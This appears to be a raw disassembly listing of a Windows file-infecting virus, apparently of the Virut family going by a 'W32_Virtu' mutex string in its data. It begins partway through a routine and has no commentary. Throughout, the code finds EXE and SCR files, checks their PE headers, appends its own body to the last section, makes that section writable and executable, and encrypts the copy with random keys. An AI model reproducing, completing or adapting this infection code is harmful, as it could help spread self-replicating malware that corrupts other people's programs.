jz loc_40058F58
mov [ebp+40396Ah], eax
xor ecx, ecx
add eax, ebx
push ecx
push eax
push ecx
push 4
push ecx
push dword ptr [ebp+403956h]
call dword ptr [ebp+403560h]
test eax, eax
jz loc_40058F58
xor ecx, ecx
mov [ebp+40396Eh], eax
push ecx
push ecx
push ecx
push 0F001Fh
push eax
call dword ptr [ebp+4035A0h]
test eax, eax
jz loc_40058F30
mov [ebp+403972h], eax
locret_40058AAC: ; CODE XREF: sub_400589DB+10j
; sub_400589DB+27j ...
retn
sub_400589DB endp
; =============== S U B R O U T I N E =======================================
sub_40058AAD proc near ; CODE XREF: sub_40058BD1+117p
; sub_40058BD1+223p
mov eax, 69CDh
mov ecx, [ebx+38h]
test dword ptr [ebp+403431h], 10000000h
jnz short loc_40058AC7
add eax, [ebp+40106Dh]
loc_40058AC7: ; CODE XREF: sub_40058AAD+12j
xor edx, edx
add eax, ecx
div ecx
mul ecx
mov [ebp+40397Ah], eax
mov eax, 243Bh
mov ecx, [ebx+3Ch]
add eax, [ebp+40106Dh]
xor edx, edx
add eax, ecx
div ecx
mul ecx
mov [ebp+403976h], eax
retn
sub_40058AAD endp
; =============== S U B R O U T I N E =======================================
sub_40058AF2 proc near ; CODE XREF: sub_40058BD1:loc_40058C20p
; sub_40058BD1+13Dp
movzx ecx, word ptr [ebx+6]
stc
loc_40058AF7: ; CODE XREF: sub_40058AF2+23j
jecxz short locret_40058B2E
lea edx, [ebx+18h]
movzx eax, word ptr [ebx+14h]
add edx, eax
dec ecx
imul eax, ecx, 28h
add edx, eax
cmp dword ptr [edx], 6E69775Fh
stc
jz short locret_40058B2E
cmp dword ptr [edx+0Ch], 1
jb short loc_40058AF7
mov ecx, [ebx+3Ch]
mov eax, [edx+14h]
add eax, [edx+10h]
lea eax, [eax+ecx*2-1]
neg ecx
and eax, ecx
cmp eax, [ebp+40396Ah]
locret_40058B2E: ; CODE XREF: sub_40058AF2:loc_40058AF7j
; sub_40058AF2+1Dj ...
retn
sub_40058AF2 endp
; =============== S U B R O U T I N E =======================================
sub_40058B2F proc near ; CODE XREF: .rsrc:40058BBBp
arg_C = dword ptr 10h
mov edx, [esp+arg_C]
xor eax, eax
pop dword ptr [edx+0B8h]
retn
sub_40058B2F endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_40058B3C: ; CODE XREF: .rsrc:40058B5Dj
mov ecx, edi
jmp short loc_40058B4B
; ---------------------------------------------------------------------------
lea edi, [ebp+40384Eh]
cld
loc_40058B47: ; CODE XREF: .rsrc:40058B59j
mov ebx, edi
xor ecx, ecx
loc_40058B4B: ; CODE XREF: .rsrc:40058B3Ej
; .rsrc:40058B61j
lodsb
cmp al, 61h
jb short loc_40058B56
cmp al, 7Ah
ja short loc_40058B56
sub al, 20h
loc_40058B56: ; CODE XREF: .rsrc:40058B4Ej
; .rsrc:40058B52j
stosb
cmp al, 5Ch
jz short loc_40058B47
cmp al, 2Eh
jz short loc_40058B3C
cmp al, 0
jnz short loc_40058B4B
jecxz short locret_40058B2E
mov eax, [ecx]
cmp eax, 455845h
jz short loc_40058B79
cmp eax, 524353h
jnz locret_40058AAC
loc_40058B79: ; CODE XREF: .rsrc:40058B6Cj
mov eax, [ebx]
cmp eax, 434E4957h
jz locret_40058AAC
cmp eax, 4E554357h
jz locret_40058AAC
cmp eax, 32334357h
jz locret_40058AAC
cmp eax, 4F545350h
jz locret_40058AAC
xor ebx, ebx
call sub_400589DB
jz locret_40058AAC
xor edx, edx
call sub_40058BD1
call sub_40058B2F
call $+5
pop ebp
sub ebp, 402F8Ah
jmp loc_40058F0E
; =============== S U B R O U T I N E =======================================
sub_40058BD1 proc near ; CODE XREF: .rsrc:40058BB6p
var_14 = dword ptr -14h
push dword ptr fs:[edx]
mov esi, [ebp+403972h]
mov fs:[edx], esp
cmp word ptr [esi], 5A4Dh
jnz loc_40058F0E
mov ebx, [esi+3Ch]
add ebx, esi
cmp word ptr [ebx], 4550h
jnz loc_40058F0E
test dword ptr [ebx+16h], 2000h
jnz loc_40058F0E
test byte ptr [ebx+5Ch], 2
mov ecx, [esi+20h]
jz loc_40058F0E
jecxz short loc_40058C20
cmp ecx, 101h
jbe loc_40058F0E
loc_40058C20: ; CODE XREF: sub_40058BD1+41j
call sub_40058AF2
jb loc_40058F0E
mov ecx, [edx+10h]
add ecx, [edx+0Ch]
mov eax, 10000h
push ecx
call sub_4005772A
xor [ebp+40342Fh], dl
mov cl, 20h
xor [ebp+403430h], dh
loc_40058C4A: ; CODE XREF: sub_40058BD1+92j
push 20h
dec cl
pop eax
js short loc_40058C65
call sub_4005772A
test edx, edx
setz dl
shl edx, cl
xor [ebp+403431h], edx
jmp short loc_40058C4A
; ---------------------------------------------------------------------------
loc_40058C65: ; CODE XREF: sub_40058BD1+7Ej
; sub_40058BD1+CDj ...
push 6
pop ecx
loc_40058C6B: ; CODE XREF: sub_40058BD1+B8j
push 6
pop eax
call sub_4005772A
mov al, [ebp+403429h]
xchg al, [edx+ebp+403429h]
mov [ebp+403429h], al
loop loc_40058C6B
test dword ptr [ebp+403431h], 8
jnz short loc_40058CA0
cmp byte ptr [ebp+40342Bh], 1
jz short loc_40058C65
loc_40058CA0: ; CODE XREF: sub_40058BD1+C4j
test dword ptr [ebp+403431h], 1000003h
jz short loc_40058CC7
cmp byte ptr [ebp+403429h], 5
jz short loc_40058C65
cmp byte ptr [ebp+40342Ah], 5
jz short loc_40058C65
cmp byte ptr [ebp+40342Bh], 5
jz short loc_40058C65
loc_40058CC7: ; CODE XREF: sub_40058BD1+D9j
test dword ptr [ebp+403431h], 80000000h
jz short loc_40058CDC
cmp byte ptr [ebp+403429h], 2
ja short loc_40058C65
loc_40058CDC: ; CODE XREF: sub_40058BD1+100j
and dword ptr [ebp+4039AEh], 0
call loc_40058177
call sub_40058AAD
call sub_40058F17
mov ebx, [ebp+403976h]
call sub_400589DB
jz loc_40058F0E
mov esi, [ebp+403972h]
mov ebx, [esi+3Ch]
add ebx, esi
call sub_40058AF2
jb loc_40058F0E
or dword ptr [edx+24h], 0E0000060h
mov edi, esi
push edx
push esi
add edi, [edx+14h]
add edi, [edx+10h]
test dword ptr [ebp+403431h], 10000000h
jnz short loc_40058D44
lea esi, [ebp+40343Ch]
mov ecx, [ebp+40106Dh]
rep movsb
loc_40058D44: ; CODE XREF: sub_40058BD1+163j
push edi
mov ecx, 90Fh
lea esi, [ebp+401000h]
rep movsd
mov cl, 0
jecxz short loc_40058D58
rep movsb
loc_40058D58: ; CODE XREF: sub_40058BD1+183j
test dword ptr [ebp+403431h], 10000000h
jz loc_40058E10
push dword ptr [ebx+28h]
call sub_40057EDF
mov edx, [ebp+4039A6h]
test edx, edx
jz loc_40058E10
mov esi, [ebp+403972h]
mov ecx, [edx+10h]
or dword ptr [edx+24h], 0E0000060h
sub ecx, [edx+8]
jnb short loc_40058D95
xor ecx, ecx
loc_40058D95: ; CODE XREF: sub_40058BD1+1C0j
add esi, [edx+14h]
cmp ecx, [ebp+40106Dh]
mov ecx, [ebp+40106Dh]
jb short loc_40058DFC
mov edi, [esp+14h+var_14]
and dword ptr [ebp+40106Dh], 0
and dword ptr [edi+6Dh], 0
mov edi, [edx+8]
add [edx+8], ecx
add esi, edi
xchg esi, edi
mov eax, [ebp+403986h]
test dword ptr [ebp+403431h], 40h
jz short loc_40058DD5
neg dword ptr [eax]
loc_40058DD5: ; CODE XREF: sub_40058BD1+200j
add esi, [edx+0Ch]
sub [eax], esi
mov [ebp+4039AEh], esi
mov esi, [ebx+28h]
add [eax], esi
test dword ptr [ebp+403431h], 40h
jz short loc_40058DF3
neg dword ptr [eax]
loc_40058DF3: ; CODE XREF: sub_40058BD1+21Ej
push ecx
call sub_40058AAD
pop ecx
jmp short loc_40058E08
; ---------------------------------------------------------------------------
loc_40058DFC: ; CODE XREF: sub_40058BD1+1D3j
add esi, [ebx+28h]
sub esi, [edx+0Ch]
push ecx
push esi
rep movsb
pop edi
pop ecx
loc_40058E08: ; CODE XREF: sub_40058BD1+229j
lea esi, [ebp+40343Ch]
rep movsb
loc_40058E10: ; CODE XREF: sub_40058BD1+191j
; sub_40058BD1+1A7j
pop edi
pop esi
rdtsc
xchg eax, edx
lea eax, [edi+1D2h]
cmp dl, [ebp+40342Fh]
jnz short loc_40058E29
imul edx, 12345678h
loc_40058E29: ; CODE XREF: sub_40058BD1+250j
mov [eax-1], dl
call sub_40056DFD
pop edx
mov ecx, [edx+0Ch]
add ecx, [edx+10h]
test dword ptr [ebp+403431h], 10000000h
lea eax, [ecx+6]
jnz short loc_40058E5A
mov [ebp+4039AEh], ecx
add eax, [ebp+40106Dh]
and dword ptr [edi+6Dh], 0
loc_40058E5A: ; CODE XREF: sub_40058BD1+274j
sub eax, [ebx+28h]
push dword ptr [ebp+40397Eh]
mov [edi+52h], eax
pop dword ptr [esi+20h]
test dword ptr [ebp+403431h], 80000000h
jz short loc_40058E7F
push edx
call sub_400587A5
pop edx
loc_40058E7F: ; CODE XREF: sub_40058BD1+2A5j
mov ecx, [ebp+4039AEh]
jecxz short loc_40058E8A
mov [ebx+28h], ecx
loc_40058E8A: ; CODE XREF: sub_40058BD1+2B4j
mov ecx, [edx+10h]
mov eax, [ebp+403976h]
cmp [edx+8], ecx
jnb short loc_40058E9B
mov [edx+8], ecx
loc_40058E9B: ; CODE XREF: sub_40058BD1+2C5j
add [edx+10h], eax
and dword ptr [ebx+58h], 0
mov eax, [ebp+40397Ah]
push 243Ch
add [edx+8], eax
pop ecx
add [ebx+50h], eax
mov dl, [ebp+40342Fh]
test dword ptr [ebp+403431h], 10000000h
jz short loc_40058ECC
add ecx, [ebp+40106Dh]
loc_40058ECC: ; CODE XREF: sub_40058BD1+2F3j
mov dh, 0
test dword ptr [ebp+403431h], 20000h
jnz short loc_40058EEE
inc dh
test dword ptr [ebp+403431h], 40000h
jnz short loc_40058EEE
mov dh, [ebp+403430h]
loc_40058EEE: ; CODE XREF: sub_40058BD1+307j
; sub_40058BD1+315j
test dword ptr [ebp+403431h], 4000h
jnz short loc_40058F05
loc_40058EFA: ; CODE XREF: sub_40058BD1+330j
mov al, [edi]
add al, dl
stosb
add dl, dh
loop loc_40058EFA
jmp short loc_40058F0E
; ---------------------------------------------------------------------------
loc_40058F05: ; CODE XREF: sub_40058BD1+327j
; sub_40058BD1+33Bj
mov al, [edi]
xor al, dl
stosb
add dl, dh
loop loc_40058F05
loc_40058F0E: ; CODE XREF: .rsrc:40058BCCj
; sub_40058BD1+11j ...
xor edx, edx
mov esp, fs:[edx]
pop dword ptr fs:[edx]
pop eax
sub_40058BD1 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40058F17 proc near ; CODE XREF: sub_40058BD1+11Cp
cmp dword ptr [ebp+403956h], 0
jz locret_40058AAC
push dword ptr [ebp+403972h]
call dword ptr [ebp+4035C4h]
loc_40058F30: ; CODE XREF: sub_400589DB+C5j
push dword ptr [ebp+40396Eh]
call dword ptr [ebp+40353Ch]
lea ecx, [ebp+40395Ah]
lea edx, [ebp+403962h]
push ecx
push edx
push 0
push dword ptr [ebp+403956h]
call dword ptr [ebp+4035B8h]
loc_40058F58: ; CODE XREF: sub_400589DB+6Bj
; sub_400589DB+82j ...
push dword ptr [ebp+403956h]
call dword ptr [ebp+40353Ch]
loc_40058F64: ; CODE XREF: sub_400589DB+45j
lea esi, [ebp+40384Eh]
push dword ptr [ebp+403952h]
push esi
call dword ptr [ebp+4035B4h]
and dword ptr [ebp+403956h], 0
retn
sub_40058F17 endp
; ---------------------------------------------------------------------------
db 0E8h
dd 0
dd 81016A5Dh, 403349EDh, 0FF05800h, 158085C1h, 0C0850040h
dd 0FFC883C3h, 85C10FF0h, 401580h, 103DC3h, 1C75002Ah
dd 247C8166h, 75716C0Ch, 0C4E86013h, 75FFFFFFh, 0FB7EE805h
dd 0D2E8FFFFh, 61FFFFFFh, 782DFF2Eh, 0B8123456h, 25h, 0FFA5E860h
dd 3975FFFFh, 3024448Bh, 384EB58Dh, 508B0040h, 3A816608h
dd 25730206h, 6856h, 0C48B00FFh, 5052006Ah, 35F895FFh
dd 0C4830040h, 5C3E8108h, 755C3F3Fh, 4C68303h, 0FFFB2BE8h
dd 0FF7FE8FFh, 0C361FFFFh, 74B8h, 0B8B1EB00h, 2Fh, 10E8h
dd 20C200h, 30B8h, 3E800h, 24C20000h, 24548D00h, 832ECD0Ch
dd 197C00F8h, 0E860h, 548B0000h, 8B5D3024h, 13ED811Ah
dd 0E8004034h, 0FFFFE539h, 4C261h, 2030705h, 71CF0601h
dd 203B882Ch, 119415FFh, 900100h, 3Fh dup(0)
dd 47000000h, 0AD7C809Bh, 317C8308h, 0A07C9103h, 7C80ADh
dd 2 dup(0)
dd 0B6000000h, 247C80BDh, 5C7C801Ah, 677C8094h, 2C7C8023h
dd 377C8104h, 0F7C8106h, 587C864Bh, 0EC7C80C0h, 3C7C80E7h
dd 777C8115h, 457C810Ah, 0A17C831Ch, 0FF7C80B6h, 0CA7C8608h
dd 0DA7C835Dh, 0DE7C8111h, 777C812Ah, 57C801Dh, 767C80B9h
dd 0E17C80BBh, 0E57C8309h, 587C863Dh, 827C863Fh, 0B87C8127h
dd 427C831Ch, 1C7C8024h, 747C810Bh, 517C80B9h, 877C809Ah
dd 607C810Dh, 827C90D4h, 547C90D6h, 697C90D7h, 937C90D7h
dd 557C90D7h, 0FD7C90DCh, 907C90DCh, 0B67C90DDh, 327C90DEh
dd 0C67C90EAh, 7C9130h, 15h dup(0)
dd 380036h, 40059294h, 42005Ch, 730061h, 4E0065h, 6D0061h
dd 640065h, 62004Fh, 65006Ah, 740063h, 5C0073h, 330057h
dd 5F0032h, 690056h, 740072h, 75h, 0BBh dup(0)
dd 5900h, 0Ch dup(0)
dd 0CF00h, 1184h dup(0)
_rsrc ends
; Section 10. (virtual address 0005E000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 0005DC00
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 4005E000h
dd 80h dup(0)
align 1000h
_idata2 ends
end start